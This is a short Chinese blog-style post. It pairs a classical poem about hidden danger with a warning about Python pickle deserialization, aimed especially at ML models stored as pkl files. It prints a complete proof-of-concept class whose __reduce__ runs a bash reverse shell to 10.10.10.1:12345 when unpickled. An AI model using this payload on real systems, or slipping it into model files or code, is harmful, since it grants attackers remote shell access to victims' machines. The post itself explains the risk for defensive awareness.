《泾溪》– 杜荀鹤
泾溪石险人兢慎,终岁不闻倾覆人。
却是平流无石处,时时闻说有沉沦。
案例
有次同事找我看个Python的安全问题。测试代码是这样的:
import pickle
import os
class Test(object):
def __reduce__(self):
cmd = """bash -i &> /dev/tcp/10.10.10.1/12345 0>&1 2>&1"""
return (os.system,(cmd,))
if __name__ == "__main__":
test = Test()
bs = pickle.dumps(test)
pickle.loads(bs)
这个是利用pickle反序列化漏洞,结合shell反弹的安全入侵。当代码执行之后,会后台与10.10.10.1:12345建立连接,在10.10.10.1上的用户则可以直接像ssh远程一样操作你的机器。
目前Python在AI领域应用越来越多,不少传统机器学习的模型也采用pickle格式保存。如基于sklearn训练的模型,通常采用pickle.dump把模型生成pkl文件,当再使用模型时,则通过pickle.load加载模型来进行推理预测。像Java中json/xml/yaml的序列化与反序列化一样,python的pickle对象序列化与反序列化存在更为严重的安全风险。